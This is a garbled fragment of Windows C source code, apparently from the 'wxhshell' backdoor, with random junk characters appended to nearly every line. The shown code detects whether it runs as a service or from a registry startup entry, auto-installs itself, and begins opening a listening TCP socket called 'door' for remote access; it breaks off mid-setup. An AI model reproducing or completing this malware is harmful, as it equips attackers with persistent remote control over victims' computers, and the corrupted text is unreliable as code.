} PROCESS_BASIC_INFORMATION; I(9+F
^w*vux|F
PROCNTQSIP NtQueryInformationProcess; 8nSw7:z
UwDoueXs
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; PJh97%7
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `KP}pi\
sJ_3tjs)
HANDLE hProcess; kPnuU!
PROCESS_BASIC_INFORMATION pbi; ]/mRMm9"3h
Yp$@i20
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); w#sP5qKv8
if(NULL == hInst ) return 0; S~ y.>X3"P
z+?48}
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); i_$?sg#=yk
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2bpFQ8q
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7.
eiM!7g
h{PJ4U{W
if (!NtQueryInformationProcess) return 0; [} %=&B
8KzH
-
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _<)HFg6
if(!hProcess) return 0; =?hbi]
H|cxy?iJ
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; mldY/;-H!1
(`f)Tt=`
CloseHandle(hProcess); *x. gPG
v;"
pc)i
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); D._7)$d
if(hProcess==NULL) return 0; fydQaxCND
S|BS;VY
HMODULE hMod; 8WG_4e
char procName[255]; 1[".
z{V3*
unsigned long cbNeeded; 4 ..V
9kas]zQ%=P
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); u%CJjy
PO0/C q)
CloseHandle(hProcess); d 4;
3,@|kN<
if(strstr(procName,"services")) return 1; // 以服务启动 Z^yn S
R)GDsgXy
return 0; // 注册表启动 sO&eV68
[
} h)?Km{u%
#pMpGw$
// 主模块 yL3F
int StartWxhshell(LPSTR lpCmdLine) oeG?2!Zh
{ p,2H8I){
SOCKET wsl; 9/5EyV
BOOL val=TRUE; m^a0JR}u9
int port=0; TfA;4^
struct sockaddr_in door; &_Gu'A({J
#U/L8
if(wscfg.ws_autoins) Install(); |Lz7}g=6
.@f)#2
port=atoi(lpCmdLine); "(E%JAwZ^W
2!Pwg0%2
if(port<=0) port=wscfg.ws_port; $K!6T
3WY:Fn+#
WSADATA data; R
#m1Aa
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; FHZQyO<|
<Ow+LJWQK
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; vg[zRWh8
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); O u{|o0
door.sin_family = AF_INET; k%({<